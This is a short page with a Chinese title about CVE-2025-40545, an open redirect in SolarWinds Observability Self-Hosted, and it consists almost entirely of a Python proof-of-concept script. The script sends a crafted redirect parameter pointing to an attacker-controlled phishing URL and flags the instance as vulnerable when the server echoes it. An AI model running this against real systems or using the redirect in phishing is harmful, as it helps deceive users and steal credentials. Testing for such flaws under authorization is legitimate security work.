CVE-2025-40545 SolarWinds Observability开放重定向漏洞

# CVE-2025-40545 Open Redirect PoC # Target: SolarWinds Observability Self-Hosted # Note: This PoC is for educational and authorized testing purposes only import requests from urllib.parse import urlencode def test_open_redirect(target_url, redirect_param='url'): """ Test for open redirect vulnerability in SolarWinds Observability Args: target_url: Base URL of the vulnerable application redirect_param: Parameter name used for redirection (commonly 'url', 'redirect', 'next') Returns: dict: Test results including whether redirect occurred """ # Malicious redirect target malicious_url = "https://attacker-controlled-site.com/phishing" # Construct the malicious URL with the vulnerable parameter params = { redirect_param: malicious_url } # Full URL with malicious parameter test_url = f"{target_url}?{urlencode(params)}" print(f"[*] Testing target: {target_url}") print(f"[*] Malicious redirect target: {malicious_url}") try: # Send request and follow redirects response = requests.get(test_url, allow_redirects=False, timeout=10) # Check if redirect is happening if response.status_code in [301, 302, 303, 307, 308]: location = response.headers.get('Location', '') print(f"[!] Redirect detected!") print(f"[!] Status code: {response.status_code}") print(f"[!] Location header: {location}") if malicious_url in location or 'attacker-controlled' in location: print("[!] VULNERABLE: Open redirect confirmed!") return { 'vulnerable': True, 'status_code': response.status_code, 'location': location } else: print(f"[*] No redirect detected (Status: {response.status_code})") return {'vulnerable': False} except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return {'error': str(e)} # Example usage if __name__ == "__main__": target = "https://solarwinds-instance.local/redirect" result = test_open_redirect(target) print(f"\nResult: {result}")